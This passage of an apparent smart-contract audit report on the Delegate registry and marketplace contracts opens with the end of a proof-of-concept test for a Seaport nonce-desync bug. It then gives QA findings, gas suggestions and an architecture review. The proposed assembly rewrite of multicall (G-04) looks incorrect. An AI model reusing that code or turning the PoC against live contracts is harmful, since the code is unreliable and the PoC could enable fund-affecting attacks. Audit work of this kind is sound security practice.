FulfillmentComponent[][](2); offerFulfillments[0] = new FulfillmentComponent[](offerItems.length); offerFulfillments[1] = new FulfillmentComponent[](offerItems.length); FulfillmentComponent[][] memory considerationFulfillments = new FulfillmentComponent[][](2); considerationFulfillments[0] = new FulfillmentComponent[](considerationItems.length); considerationFulfillments[1] = new FulfillmentComponent[](considerationItems.length); for (uint256 i = 0; i < offerItems.length; i++) { offerFulfillments[0][i] = FulfillmentComponent(0, i); } for (uint256 i = 0; i < considerationItems.length; i++) { considerationFulfillments[0][i] = FulfillmentComponent(0, i); } for (uint256 i = 0; i < offerItems.length; i++) { offerFulfillments[1][i] = FulfillmentComponent(1, i); } for (uint256 i = 0; i < considerationItems.length; i++) { considerationFulfillments[1][i] = FulfillmentComponent(1, i); } AdvancedOrder[] memory orders = new AdvancedOrder[](2); orders[0] = advancedOrder1; orders[1] = advancedOrder2; console2.log("mockERC721.ownerOf(1)", mockERC721.ownerOf(1)); console2.log("mockERC721.ownerOf(2)", mockERC721.ownerOf(2)); seaport.fulfillAvailableAdvancedOrders(orders, new CriteriaResolver[](0), offerFulfillments, considerationFulfillments, bytes32(0), address(this), 100); uint256 seaport_contrat_offer_1_nonce = seaport.getContractOffererNonce(address(contractOfferer1)); console2.log(seaport_contrat_offer_1_nonce); // the nonce of contract offerer on seaport is 1 is 1!! uint256 oldNonce = contractOfferer1.nonce(); // the none of contract offerer 1 is 0! console2.log(oldNonce); // Proof also by showing that we can re-do Order 1 but nonces are deSynched console2.log("mockERC721.ownerOf(1)", mockERC721.ownerOf(1)); console2.log("mockERC721.ownerOf(2)", mockERC721.ownerOf(2)); } }
Low Risk and Non-Critical Issues
For this audit, 10 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by DadeKuma received the top score from the judge.
The following wardens also submitted reports: p0wd3r, gkrastenov, Fulum, sces60107, Brenzee, kodyvim, lsaudit, ladboy233, and lodelux.
[01] previewOrder
should not revert
The official documentation says that previewOrder
should not revert, as it may cause issues to the caller:
An optimal Seaport app should return an order with penalties when its previewOrder function is called with unacceptable minimumReceived and maximumSpent arrays, so that the caller can learn what the Seaport app expects. But it should revert when its generateOrder is called with unacceptable minimumReceived and maximumSpent arrays, so the function fails fast, gets skipped, and avoids wasting gas by leaving the validation to Seaport.
function previewOrder(address caller, address, SpentItem[] calldata minimumReceived, SpentItem[] calldata maximumSpent, bytes calldata context)
external
view
onlySeaport(caller)
returns (SpentItem[] memory offer, ReceivedItem[] memory consideration)
{
if (context.length != 160) revert Errors.InvalidContextLength();
(offer, consideration) = Helpers.processSpentItems(minimumReceived, maximumSpent);
}
https://github.com/code-423n4/2023-09-delegate/blob/main/src/CreateOfferer.sol#L176-L184
[02] Withdraw should revert with non-supported delegationType
There seems to be no way to create a DelegateToken that is not ERC721/ERC20/ERC1155, but due to the fact that DelegationType
supports also ALL
and CONTRACT
:
enum DelegationType {
NONE,
ALL,
CONTRACT,
ERC721,
ERC20,
ERC1155
}
And there are multiple ways to create DelegateToken (e.g. DelegateToken.create
and CreateOfferer.transferFrom
, but more contracts could be created in the future), it would be safer to revert the transaction on withdraw to avoid burning unsupported tokens:
function withdraw(uint256 delegateTokenId) external nonReentrant {
...
} else if (delegationType == IDelegateRegistry.DelegationType.ERC1155) {
uint256 erc1155UnderlyingAmount = StorageHelpers.readUnderlyingAmount(delegateTokenInfo, delegateTokenId);
StorageHelpers.writeUnderlyingAmount(delegateTokenInfo, delegateTokenId, 0); // Deletes amount
uint256 erc11551UnderlyingTokenId = RegistryHelpers.loadTokenId(delegateRegistry, registryHash);
RegistryHelpers.decrementERC1155(
delegateRegistry, registryHash, delegateTokenHolder, underlyingContract, erc11551UnderlyingTokenId, erc1155UnderlyingAmount, underlyingRights
);
StorageHelpers.burnPrincipal(principalToken, principalBurnAuthorization, delegateTokenId);
IERC1155(underlyingContract).safeTransferFrom(address(this), msg.sender, erc11551UnderlyingTokenId, erc1155UnderlyingAmount, "");
}
/* @audit Should revert here to avoid burning a not supported delegate token
else {
revert Errors.InvalidTokenType(delegationType);
}
*/
}
https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L353-L386
[03] Lack of data
on flashloan could make some ERC1155 unusable
When doing an ERC1155 flashloan, the data parameter is always empty:
IERC1155(info.tokenContract).safeTransferFrom(address(this), info.receiver, info.tokenId, info.amount, "");
https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L406
Some collections might need this parameter to be usable. This is an example of such case:
- The sender transfers ERC1155 from the OpenSea contract to the ApeGang contract
- In the same transaction the ApeGang’s onERC1155BatchReceived hook is called
- This allows the ApeGang to react to the token being received
- The data includes merkle proofs that are needed to validate the transaction
Consider adding a flashloanData
parameter to Structs.FlashInfo
and pass it while transfering.
[04] Using delegatecall
inside a loop may cause issues with payable
functions
If one of the delegatecall
consumes part of the msg.value
, other calls might fail, if they expect the full msg.value
. Consider using a different design, or fully document this decision to avoid potential issues.
function multicall(bytes[] calldata data) external payable override returns (bytes[] memory results) {
results = new bytes[](data.length);
bool success;
unchecked {
for (uint256 i = 0; i < data.length; ++i) {
//slither-disable-next-line calls-loop,delegatecall-loop
(success, results[i]) = address(this).delegatecall(data[i]);
if (!success) revert MulticallFailed();
}
}
}
[05] CreateOfferer
uses a custom context implementation instead of an existing SIP
It is suggested to use an existing SIP implementation instead of creating a new standard from scratch, which might be prone to errors:
Structs.Context memory decodedContext = abi.decode(context, (Structs.Context));
https://github.com/code-423n4/2023-09-delegate/blob/main/src/CreateOfferer.sol#L59
Please note that the contract needs to be SIP compliant before it’s possible to implement SIP-7, as it requires SIP-5 and SIP-6.
The issue describing non-compliance is described here: #280
.
0xfoobar (Delegate) commented:
Useful QA report.
Alex the Entreprenerd (judge) commented:
[01] previewOrder should not revert
Low[02] Withdraw should revert with a not supported delegationType
Refactoring[03] Lack of data on flashloan could make some ERC1155 unusable
Low[04] Using delegatecall inside a loop may cause issues with payable functions
Refactoring[05] CreateOfferer uses a custom context implementation instead of an existing SIP
LowThe following downgraded submissions from the warden were also considered in scoring:
- Seaport orders will not work with USDT
- DelegateToken is not EIP-721 compliant
- Rebasing tokens remain permanently locked inside DelegateToken
- ETH can be permanently locked during a flashloan
- Principal token can be permanently locked
- CreateOfferer is not SIP-compliant, which can cause integration issues with third parties
Total: 6+ Low and 2 Refactoring
By far the best submission, great work!
0xfoobar (Delegate) acknowledged and commented:
[01] previewOrder should not revert
The quoted documentation actually says it can revert, we’re not doing order penalties here just straightforward fulfillment.[02] Withdraw should revert with non-supported delegationType
It does.[03] Lack of data on flashloan could make some ERC1155 unusable
Acknowledged, we won’t be transferring directly to staking contracts with merkle roots so this is fine.[04] Using delegatecall inside a loop may cause issues with payable functions
But here it does not, we can see in the quoted code that it’s not looping overmsg.value
.[05] CreateOfferer uses a custom context implementation instead of an existing SIP
Acknowledged.
Gas Optimizations
For this audit, 2 reports were submitted by wardens detailing gas optimizations. The report highlighted below by Sathish9098 received the top score from the judge.
The following warden also submitted a report: Baki.
[G-01] Structs can be packed into fewer storage slots
Saves 6000 GAS
, 3 SLOT
Each slot saved can avoid an extra Gsset (20000 gas) for the first setting of the struct.
Subsequent reads as well as writes have smaller gas savings.
expiry
can be uint96 instead of uint256
: Saves 2000 GAS
, 1 SLOT
A uint96
can store values from 0 to 2^96 - 1
, which is a very large range. However, it’s important to note that Ethereum’s block.timestamp
is a Unix timestamp
, which represents time in seconds.
A uint96
would overflow after approximately 2,508,149,904,626,209 years
when storing time in seconds. This is an extremely long time frame, and it’s highly unlikely that Ethereum or any blockchain system will remain unchanged for such an extended period.
FILE: 2023-09-delegate/src/libraries/DelegateTokenLib.sol
20: struct DelegateInfo {
21: address principalHolder;
22: IDelegateRegistry.DelegationType tokenType;
23: address delegateHolder;
24: uint256 amount;
25: address tokenContract;
+ 28: uint96 expiry;
26: uint256 tokenId;
27: bytes32 rights;
- 28: uint256 expiry;
29: }
signerSalt
, expiryLength
can be uint128
instead of uint256
: Saves 4000 GAS
, 2 SLOT
In many blockchain protocols, the usage of salt
often involves values within the range of uint32
, as they provide a sufficient numeric space for generating unique salts. Therefore, adopting a uint32 data type for the signerSalt field is a reasonable choice, as it aligns with common practices and conserves storage resources.
For the expiryLength
field, which is intended to store the duration
or length
of an expiration period
, using uint128
is more than adequate. This choice allows for a vast range of possible expiration lengths, accommodating a wide spectrum of use cases without incurring unnecessary storage overhead
FILE: 2023-09-delegate/src/libraries/CreateOffererLib.sol
89: struct Context {
90: bytes32 rights;
+ 91: uint128 signerSalt;
+ 92: uint128 expiryLength;
- 91: uint256 signerSalt;
- 92: uint256 expiryLength;
93: CreateOffererEnums.ExpiryType expiryType;
94: CreateOffererEnums.TargetToken targetToken;
95: }
98: struct Order {
99: bytes32 rights;
- 100: uint256 expiryLength;
- 101: uint256 signerSalt;
+ 100: uint128 expiryLength;
+ 101: uint128 signerSalt;
102: address tokenContract;
103: CreateOffererEnums.ExpiryType expiryType;
104: CreateOffererEnums.TargetToken targetToken;
105: }
[G-02] Remove or replace unused state variables
Saves 20000 GAS
Saves a storage slot. If the variable is assigned a non-zero value, saves Gsset (20000 gas)
. If it’s assigned a zero value, saves Gsreset (2900 gas)
. If the variable remains unassigned, there is no gas savings unless the variable is public, in which case the compiler-generated non-payable getter deployment cost is saved. If the state variable is overriding an interface’s public function, mark the variable as constant or immutable so that it does not use a storage slot
FILE: delegate-registry/src/DelegateRegistry.sol
18: mapping(bytes32 delegationHash => bytes32[5] delegationStorage) internal delegations;
[G-03] State variables should be cached
Saves 300 GAS
, 3 SLOD
Caching of a state variable replaces each Gwarmaccess (100 gas) with a cheaper stack read. Other less obvious fixes/optimizations include having local memory caches of state variable structs, or having local caches of state variable contracts/addresses.
nonce.value
, receivers.targetTokenReceiver
, receivers.fulfiller
should be cached : Saves 300 GAS
, 3 SLOD
FILE: 2023-09-delegate/src/libraries/CreateOffererLib.sol
+ uint256 value_ = nonce.value ;
- 185: if (nonce.value != contractNonce) revert CreateOffererErrors.InvalidContractNonce(nonce.value, contractNonce);
+ 185: if (value_ != contractNonce) revert CreateOffererErrors.InvalidContractNonce(value_, contractNonce);
+ address targetTokenReceiver_ = receivers.targetTokenReceiver ;
+ address fulfiller_ = receivers.fulfiller;
289: //slither-disable-start timestamp
300: if (
keccak256(
abi.encode(
IDelegateTokenStructs.DelegateInfo({
tokenType: tokenType,
- principalHolder: decodedContext.targetToken == CreateOffererEnums.TargetToken.principal
? receivers.targetTokenReceiver : receivers.fulfiller,
+ principalHolder: decodedContext.targetToken == CreateOffererEnums.TargetToken.principal
? targetTokenReceiver_ : fulfiller_ ,
- delegateHolder: decodedContext.targetToken == CreateOffererEnums.TargetToken.delegate ? receivers.targetTokenReceiver : receivers.fulfiller,
+ delegateHolder: decodedContext.targetToken == CreateOffererEnums.TargetToken.delegate ? targetTokenReceiver_ : fulfiller_ ,
expiry: CreateOffererHelpers.calculateExpiry(decodedContext.expiryType, decodedContext.expiryLength),
rights: decodedContext.rights,
tokenContract: consideration.token,
tokenId: (tokenType != IDelegateRegistry.DelegationType.ERC20) ? consideration.identifier : 0,
amount: (tokenType != IDelegateRegistry.DelegationType.ERC721) ? consideration.amount : 0
})
)
) != keccak256(abi.encode(IDelegateToken(delegateToken).getDelegateInfo(DelegateTokenHelpers.delegateIdNoRevert(address(this), identifier))))
) revert CreateOffererErrors.DelegateInfoInvariant();
[G-04] Use assembly for loops to save gas
Saves 2450 GAS
for every iteration from 7 instances
Assembly is more gas efficient for loops. Saves minimum 350 GAS
per iteration as per remix gas checks.
FILE: Breadcrumbsdelegate-registry/src/DelegateRegistry.sol
- 35: for (uint256 i = 0; i < data.length; ++i) {
- //slither-disable-next-line calls-loop,delegatecall-loop
- (success, results[i]) = address(this).delegatecall(data[i]);
- if (!success) revert MulticallFailed();
- }
+ assembly {
+ // Load the length of the data array
+ let dataSize := mload(data)
+
+ // Initialize the results array
+ let results := mload(0x40)
+ mstore(results, dataSize)
+
+ // Initialize a counter (i) to zero
+ let i := 0
+
+ for { } lt(i, dataSize) { } {
+ // Start loop
+
+ // Load the next calldata from the data array
+ let calldataPtr := add(add(data, 0x20), mul(i, 0x20))
+ let calldataSize := mload(calldataPtr)
+
+ // Perform delegatecall
+ let success := delegatecall(gas(), address(), add(calldataPtr, 0x04), calldataSize, 0, 0)
+
+ // Store the result and check for success
+ if iszero(success) {
+ // Revert if delegatecall fails
+ revert(0, 0)
+ }
+ mstore(add(results, mul(i, 0x20)), success)
+
+ // Increment the counter
+ i := add(i, 1)
+
+ // End loop
+ }
+
+ // results contains the success status of each delegatecall
+
+ }
275: for (uint256 i = 0; i < hashes.length; ++i) {
312: for (uint256 i = 0; i < length; ++i) {
tempLocation = locations[i];
assembly {
tempValue := sload(tempLocation)
}
contents[i] = tempValue;
}
386: for (uint256 i = 0; i < hashesLength; ++i) {
hash = hashes[i];
if (_invalidFrom(_loadFrom(Hashes.location(hash)))) continue;
filteredHashes[count++] = hash;
}
393: for (uint256 i = 0; i < count; ++i) {
hash = filteredHashes[i];
location = Hashes.location(hash);
(address from, address to, address contract_) = _loadDelegationAddresses(location);
delegations_[i] = Delegation({
type_: Hashes.decodeType(hash),
to: to,
from: from,
rights: _loadDelegationBytes32(location, Storage.POSITIONS_RIGHTS),
amount: _loadDelegationUint(location, Storage.POSITIONS_AMOUNT),
contract_: contract_,
tokenId: _loadDelegationUint(location, Storage.POSITIONS_TOKEN_ID)
});
}
417: for (uint256 i = 0; i < hashesLength; ++i) {
hash = hashes[i];
if (_invalidFrom(_loadFrom(Hashes.location(hash)))) continue;
filteredHashes[count++] = hash;
}
423: for (uint256 i = 0; i < count; ++i) {
validHashes[i] = filteredHashes[i];
}
[G-05] Don’t initialize default values to variables to reduce gas
Saves 13 GAS
for local variable and 2000 GAS
for state variable
FILE: Breadcrumbsdelegate-registry/src/DelegateRegistry.sol
35: for (uint256 i = 0; i < data.length; ++i) {
275: for (uint256 i = 0; i < hashes.length; ++i) {
312: for (uint256 i = 0; i < length; ++i) {
386: for (uint256 i = 0; i < hashesLength; ++i) {
393: for (uint256 i = 0; i < count; ++i) {
417: for (uint256 i = 0; i < hashesLength; ++i) {
423: for (uint256 i = 0; i < count; ++i) {
[G-06] Use constants instead of type(uintX).max to avoid calculating every time
FILE: delegate-registry/src/DelegateRegistry.sol
213: ? type(uint256).max
215: if (!Ops.or(rights == "", amount == type(uint256).max)) {
217: ? type(uint256).max
232: ? type(uint256).max
234: if (!Ops.or(rights == "", amount == type(uint256).max)) {
236: ? type(uint256).max
372: uint256 cleanUpper12Bytes = type(uint256).max << 160;
[G-07] For same condition checks use modifiers
File: delegate-registry/src/DelegateRegistry.sol
56: } else if (loadedFrom == msg.sender) {
75: } else if (loadedFrom == msg.sender) {
85: } else if (loadedFrom == msg.sender) {
115: } else if (loadedFrom == msg.sender) {
118: } else if (loadedFrom == msg.sender) {
140: } else if (loadedFrom == msg.sender) {
143: } else if (loadedFrom == msg.sender) {
[G-08] Declare the variables outside the loop
Per iterations saves 26 GAS
FILE: delegate-registry/src/DelegateRegistry.sol
+ bytes32 location ;
+ address from ;
for (uint256 i = 0; i < hashes.length; ++i) {
- bytes32 location = Hashes.location(hashes[i]);
- address from = _loadFrom(location);
+ location = Hashes.location(hashes[i]);
+ from = _loadFrom(location);
if (_invalidFrom(from)) {
delegations_[i] = Delegation({type_: DelegationType.NONE, to: address(0), from: address(0), rights: "", amount: 0, contract_: address(0), tokenId: 0});
} else {
(, address to, address contract_) = _loadDelegationAddresses(location);
delegations_[i] = Delegation({
type_: Hashes.decodeType(hashes[i]),
to: to,
from: from,
rights: _loadDelegationBytes32(location, Storage.POSITIONS_RIGHTS),
amount: _loadDelegationUint(location, Storage.POSITIONS_AMOUNT),
contract_: contract_,
tokenId: _loadDelegationUint(location, Storage.POSITIONS_TOKEN_ID)
});
Alex the Entreprenerd (judge) commented:
Very good work with the first 2 findings!
0xfoobar (Delegate) confirmed and commented:
Useful findings on the gas stuff. Not sure the refactoring is worth the loss of struct ordering here but will think it over.
Audit Analysis
For this audit, 4 analysis reports were submitted by wardens. An analysis report examines the codebase as a whole, providing observations and advice on such topics as architecture, mechanism, or approach. The report highlighted below by pfapostol received the top score from the judge.
The following wardens also submitted reports: DadeKuma, m4ttm, and Banditx0x.
Approach taken in evaluating the codebase
I first explored the scope of audit. I discovered that the project can be divided into 2 independent parts: Delegate Registry
and Delegate Marketplace
. I carried out all subsequent stages separately for each of this parts, and then analyzed the correctness of their interaction.
Test coverage
Delegate Registry
:
Test coverage is 100% for most audit files. In this regard, I decided to concentrate on finding logical errors, since simple errors (errors due to typos, incorrect statements) should be excluded by tests.
File | % Lines | % Statements | % Branches | % Funcs |
---|---|---|---|---|
src/DelegateRegistry.sol | 100.00% (175/175) | 100.00% (219/219) | 98.78% (81/82) | 100.00% (33/33) |
src/libraries/RegistryHashes.sol | 100.00% (12/12) | 100.00% (12/12) | 100.00% (0/0) | 100.00% (12/12) |
src/libraries/RegistryOps.sol | 66.67% (2/3) | 66.67% (2/3) | 100.00% (0/0) | 66.67% (2/3) |
src/libraries/RegistryStorage.sol | 100.00% (6/6) | 100.00% (6/6) | 100.00% (0/0) | 100.00% (3/3) |
Delegate Marketplace
:
File | % Lines | % Statements | % Branches | % Funcs |
---|---|---|---|---|
src/CreateOfferer.sol | 90.70% (39/43) | 92.00% (46/50) | 77.27% (17/22) | 100.00% (8/8) |
src/DelegateToken.sol | 88.55% (147/166) | 90.28% (195/216) | 80.43% (37/46) | 89.66% (26/29) |
src/PrincipalToken.sol | 100.00% (14/14) | 100.00% (17/17) | 100.00% (4/4) | 100.00% (5/5) |
src/libraries/CreateOffererLib.sol | 95.24% (40/42) | 95.38% (62/65) | 69.23% (18/26) | 100.00% (9/9) |
src/libraries/DelegateTokenLib.sol | 88.89% (8/9) | 90.48% (19/21) | 75.00% (6/8) | 100.00% (5/5) |
src/libraries/DelegateTokenRegistryHelpers.sol | 100.00% (57/57) | 100.00% (87/87) | 100.00% (26/26) | 100.00% (21/21) |
src/libraries/DelegateTokenStorageHelpers.sol | 91.67% (44/48) | 92.11% (70/76) | 80.77% (21/26) | 100.00% (21/21) |
src/libraries/DelegateTokenTransferHelpers.sol | 88.24% (30/34) | 87.80% (36/41) | 80.77% (21/26) | 100.00% (9/9) |
Code review
I studied the Delegate Registry
code starting with the libraries, and also starting from the lowest level functions, moving to the top level functions. Having built a general understanding of what each of the functions does, I formed an idea of how the Registry works and built general diagrams.
Packed delegation data:
Important external interfaces:
- delegateAll - Delegates the entire wallet
- delegateContract - Delegates the right to use the contract
- delegateERC721 - Delegates the right to use a specific contract token
- delegateERC20 - Delegates the right to use a certain amount of a token of a certain contract
- delegateERC1155 - Delegates the right to use a certain amount of a certain token of a certain contract
There are also 5 functions to check the correctness of the delegation
Details on each function and hashing schemes
`RegistryOps` library:-
Contains 3 operation:
max
: use optimized assembly logic to calculate max of 2 numbersand
: use 2xiszero
to clean arguments beforeand
or
: use 2xiszero
to clean arguments beforeor
RegistryStorage
library:
-
Contains 10 constants:
- mostly offsets for packing/unpacking of addresses
-
Contains 3 functions:
packAddresses
: - storefrom
,to
andcontract
addresses in 2 storage slotsunpackAddresses
: - reverse topackAddresses
operationunpackAddress
: - helper to unpackto
orfrom
. Should not to be used forcontract
unwrapping
RegistryHashes
library:
-
Contains 7 constants:
- mostly types of hashes
-
Contains 12 functions:
decodeType
: - decode hash type from last byte intoenum
, (potentially may overflowenum
)-
location
: - calculate storage key from hash -
allHash
: - calculate hash forall
type -
allLocation
: - calculate location forall
type hash contractHash
: - similar toallHash
contractLocation
: - similar toallLocation
erc721Hash
: - similar toallHash
erc721Location
: - similar toallLocation
erc20Hash
: - similar toallHash
erc20Location
: - similar toallLocation
erc1155Hash
: - similar toallHash
erc1155Location
: - similar toallLocation
DelegateRegistry
contract:
-
contains 3 state variables:
delegations
outgoingDelegationHashes
incomingDelegationHashes
-
contains 33 functions:
sweep
: - transfer all contract balance to hardcoded address (Currently 0x0)readSlot
: - performsload
readSlots
: - performsload
s in loop_pushDelegationHashes
: - push delegation hash to the incoming and outgoing hashes mappings_writeDelegation
x2 : - performsstore
fordata
atposition
inlocation
_updateFrom
: - changefrom
value in first slot, while keeping first 8 bytes ofcontract
intact_loadDelegationBytes32
: - performsload
atposition
inlocation
_loadDelegationUint
: - similar to_loadDelegationBytes32
multicall
: - payable multicallsupportsInterface
: -_writeDelegationAddresses
: -sstore
packed delegation at 0 and 1 slot inlocation
_loadFrom
: -sload
from
address fromlocation
_loadDelegationAddresses
: - reverse to_writeDelegationAddresses
_invalidFrom
: - check if address isDELEGATION_EMPTY
orDELEGATION_REVOKED
flags(addresses)_validateFrom
: - match passedfrom
to value inlocation
checkDelegateForAll
: - validate thatfrom
delegatedto
the entire walletcheckDelegateForContract
: - the same ascheckDelegateForContract
or delegated for specificcontract
checkDelegateForERC721
: - the same ascheckDelegateForContract
or delegated for specifictokenId
in specificcontract
checkDelegateForERC20
: - return amount delegatedfrom
toto
checkDelegateForERC1155
: - similar tocheckDelegateForERC20
_getValidDelegationHashesFromHashes
: - remove invalidfrom
s from hashes arraygetIncomingDelegationHashes
: - return only valid hashes fromincomingDelegationHashes
getOutgoingDelegationHashes
: - the same asgetIncomingDelegationHashes
, but withoutgoingDelegationHashes
_getValidDelegationsFromHashes
: - read storage for every valid hash in memoryDelegation
structgetIncomingDelegations
: - returnDelegation
struct for only valid hashes fromincomingDelegationHashes
getOutgoingDelegations
: - the same asgetIncomingDelegations
, but withoutgoingDelegationHashes
getDelegationsFromHashes
: - the same as_getValidDelegationsFromHashes
but for invalid delegation return empty struct-
delegateAll
: -msg.sender
delegate the whole wallet tofrom
delegateContract
: - similar todelegateAll
, but for specificcontract
delegateERC721
: - similar todelegateContract
, but for specifictokenId
delegateERC20
: - similar todelegateContract
, but forERC20
tokenamount
+ allow to changeamount
if already delegateddelegateERC1155
: - similar todelegateERC20
, but forERC1155
(specifictokenId
)
Delegate Marketplace
:
CreateOfferer
is a separate part of the marketplace that guarantees interaction with the seaport.
Important external interfaces:
- create - Create
DelegateToken
andPrincipalToken
tokens. Transfer one of token types to contract. Delegate to `delegateHolder. mint principal token.
- extend - Extend the expiration time for an existing
DelegateToken
. Called byPrincipalToken
owner. - rescind - Return the
DelegateToken
to thePrincipalToken
holder early. Called byDelegateToken
holder or after theDelegateToken
has expired, anyone can call this method. this does not release the spot asset from escrow, it merely cancels out theDelegateToken
. - withdraw - burn the
PrincipalToken
and claim the spot asset from escrow. Called by thePrincipalToken
owner.PrincipalToken
owner can authorize others to call this on their behalf, and ifPrincipalToken
owner also owns theDelegateToken
then they can skip calling rescind and go straight to withdraw
Details for each function
### Delegate marketplaceDelegateTokenStorageHelpers
library:
-
Contains 10 constants:
- mostly flags and storage positions
-
Contains 21 functions:
writeApproved
: - storeapproved
to `PACKEDINFOPOSITIONwhile keeping
expiry` intactwriteExpiry
: - storeexpiry
to `PACKEDINFOPOSITIONwhile keeping
approved` intactwriteRegistryHash
: - storeregistryHash
toREGISTRY_HASH_POSITION
writeUnderlyingAmount
: - storeunderlyingAmount
toUNDERLYING_AMOUNT_POSITION
incrementBalance
: - incrementbalance
fordelegateTokenHolder
decrementBalance
: - decrementbalance
fordelegateTokenHolder
principalIsCaller
: - revert ifmsg.sender
is notprincipalToken
revertAlreadyExisted
: - revert ifregistryHash
is not zerorevertNotOperator
: - revert if notoperator
or “owner”readApproved
: - shiftPACKED_INFO_POSITION
to readapproved
readExpiry
: - readexpiry
fromPACKED_INFO_POSITION
readRegistryHash
: - readregistryHash
fromREGISTRY_HASH_POSITION
readUnderlyingAmount
: - readunderlyingAmount
fromUNDERLYING_AMOUNT_POSITION
revertNotMinted
: - revert ifregistryHash
is not set or used (ID_AVAILABLE
,ID_USED
)checkBurnAuthorized
: - revert if caller is notprincipalToken
or delegate not authorized burncheckMintAuthorized
: - similar tocheckBurnAuthorized
but with mintrevertNotApprovedOrOperator
: - revert if caller is not “owner” oroperator
orapproved
in tokenrevertInvalidWithdrawalConditions
: - similar torevertNotApprovedOrOperator
+ check expiryburnPrincipal
: - callburn
onPrincipalToken
with custom reentrancy guardmintPrincipal
: - callmint
onPrincipalToken
with custom reentrancy guard
DelegateTokenRegistryHelpers
library:
-
Contains 21 functions:
loadTokenHolder
: - readto
fromdelegateRegistry
atlocation
fromregistryHash
. Not revert on revoked!!!loadContract
: - readcontract
fromdelegateRegistry
atlocation
fromregistryHash
loadTokenHolderAndContract
: - readto
andcontract
fromdelegateRegistry
atlocation
fromregistryHash
loadFrom
: - similar withfrom
loadAmount
: - similar withamount
loadRights
: - similar withrights
loadTokenId
: - similar withtokenId
calculateDecreasedAmount
: - returnamount
-decreaseAmount
. No underflow check!!!calculateIncreasedAmount
: - similar tocalculateDecreasedAmount
,but increasedtransferERC721
: - revoke delegation tofrom
and delegateto
while validating both hashesrevokeERC721
: - revoke delegation and validate hashdelegateERC721
: - delegate and validate hashrevertERC721FlashUnavailable
: - revert ifcontract
does not haverights
forflashloan
ortokenId
itselfrevertERC20FlashAmountUnavailable
: - revert if delegation does not have enoughamount
with“”
andflashloan
rights
revertERC1155FlashAmountUnavailable
: - similar torevertERC20FlashAmountUnavailable
transferERC20
: - decreaseamount
from old delegation and increase for newtransferERC1155
: - similar totransferERC20
incrementERC20
: - increase amount in delegationincrementERC1155
: - the same withERC1155
decrementERC20
: - similar toincrementERC20
, but decreasedecrementERC1155
: - similar toincrementERC1155
, but decrease
DelegateTokenTransferHelpers
library:
-
Contains 2 constants:
ERC1155
callbacks
-
Contains 9 functions:
checkERC1155BeforePull
: - custom reentrancy guard + revert if amount == 0checkERC1155Pulled
:- bottom part of custom reentrancy guard + require contract to be operatorrevertInvalidERC1155PullCheck
: - revert oncheckERC1155Pulled
conditionpullERC1155AfterCheck
: - transferERC1155
frommsg.sender
to contract revert ifERC1155_PULLED
checkERC20BeforePull
: - check that it isERC20
check thatamount
≠ 0, check that there is enoughallowance
pullERC20AfterCheck
: - transferERC20
frommsg.sender
to contractcheckERC721BeforePull
: - check that it isERC721
, check that owner ismsg.sender
pullERC721AfterCheck
: - transferERC721
frommsg.sender
to contractcheckAndPullByType
: - transfer one of token types frommsg.sender
to contract
DelegateTokenHelpers
library:
-
Contains 5 functions:
revertOnCallingInvalidFlashloan
: - revert if selector does not matchrevertOnInvalidERC721ReceiverCallback
: - the samerevertOnInvalidERC721ReceiverCallback
: - the samerevertOldExpiry
: - revert ifexpiry
expireddelegateIdNoRevert
: - hashcaller
andsalt
DelegateToken
contract:
-
Contains 29 functions:
supportsInterface
: - supported interfacesonERC1155BatchReceived
: - revertonERC721Received
: - revert if contract is notoperator
, else return selectoronERC1155Received
: - revert on custom reentrancy check fail else return selectorbalanceOf
: - get balance ofdelegateTokenHolder
if notaddress(0)
ownerOf
: - returnto
from registry for specificdelegateTokenId
getApproved
: - returnapproved
address revert if not mintedisApprovedForAll
: - return ifaccountOperator
approve
: - store approvedspender
, revert if not minted or not operatorsetApprovalForAll
: - setaccountOperator
name
: - constantsymbol
: - constanttransferFrom
: - transferdelegateTokenId
with underlying tokenisApprovedOrOwner
: - check if it is“owner"
oroperator
orapproved
getDelegateId
: - getdelegateTokenId
revert if not availableburnAuthorizedCallback
: - revert if caller is notprincipalToken
or delegate not authorized burnmintAuthorizedCallback
: - similarcreate
: - transfer one of token types to contract. delegate todelegateHolder
. mint principal tokensafeTransferFrom
: - calltransferFrom
and check selector callbackgetDelegateInfo
: - build and getDelegateInfo
fromdelegateTokenId
extend
: - allow principal or operator to increaseexpiry
if old not expiredrescind
: - allow delegate( or anyone after expiry) transferdelegateTokenId
to principaltokenURI
: - callMarketMetadata
fordelegateTokenURI
baseURI
: - callMarketMetadata
fordelegateTokenBaseURI
contractURI
: - callMarketMetadata
fordelegateTokenContractURI
royaltyInfo
: - similarwithdraw
: - withdraw delegation, burn principal, transfer underlaying back tomsg.sender
flashloan
: - flash-loan operation for all token types
PrincipalToken
contract:
-
Contains 5 functions:
isApprovedOrOwner
: - CallERC721
_isApprovedOrOwner
_checkDelegateTokenCaller
: - check caller isdelegateToken
tokenURI
: - CallMarketMetadata
forprincipalTokenURI
mint
: - mint. Called bydelegateToken
when authorizedburn
: - burn. Called bydelegateToken
when authorized
CreateOffererModifiers
library:
- store
seaport
address and Stage -
Contains 2 modifiers:
onlySeaport
: - caller isseaport
checkStage
: - reentrancy check + stage change
CreateOffererHelpers
library:
-
Contains 9 functions:
processNonce
: - check nonce and increment if correctupdateTransientState
: - fulfillTransientState
structcreateAndValidateDelegateTokenId
: - Callcreate
onIDelegateToken
. And check correctdelegateId
calculateExpiry
: - return absoluteexpiry
for both typesprocessSpentItems
: - buildoffer
andconsideration
fromminimumReceived
andmaximumSpent
calculateOrderHash
: - hashorder
with withtokenType
calculateOrderHashAndId
: - getdelegateTokenId
fromcalculateOrderHash
verifyCreate
: - match hash to contextvalidateCreateOrderHash
: - match provided hash to actual
CreateOfferer
contract:
- Seaport iteraction
Mechanism review
The contract consists of 2 parts, one part is a storage of delegation hashes, and the other part is ERC721 compatible tokens that reflect the ownership of the delegation.
Delegate Registry
: uses hashing to compactly store the delegation. And also hash functions for calculating a unique location in storage. It also contains functions that check the hash based on the location and from
address.
Delegate Token
: Deposits all assets, in return issues an ERC721 token, which confirms the ownership of the delegation, for a certain period of time.
PrincipalToken
: Depends on Delegate Token
, cannot be called on its own. It is an ERC721 token that confirms the right to claim deposited assets after expiration.
CreateOfferer
: Integration with seaport as specified in documentation. When selling, the asset turns into a Delegate Token
and is assigned to the buyer, the seller receives a PrincipalToken
.
Delegate Token
in its work relies entirely on Delegate Registry
, which must reliably guarantee the authenticity and confirmation of the delegation.
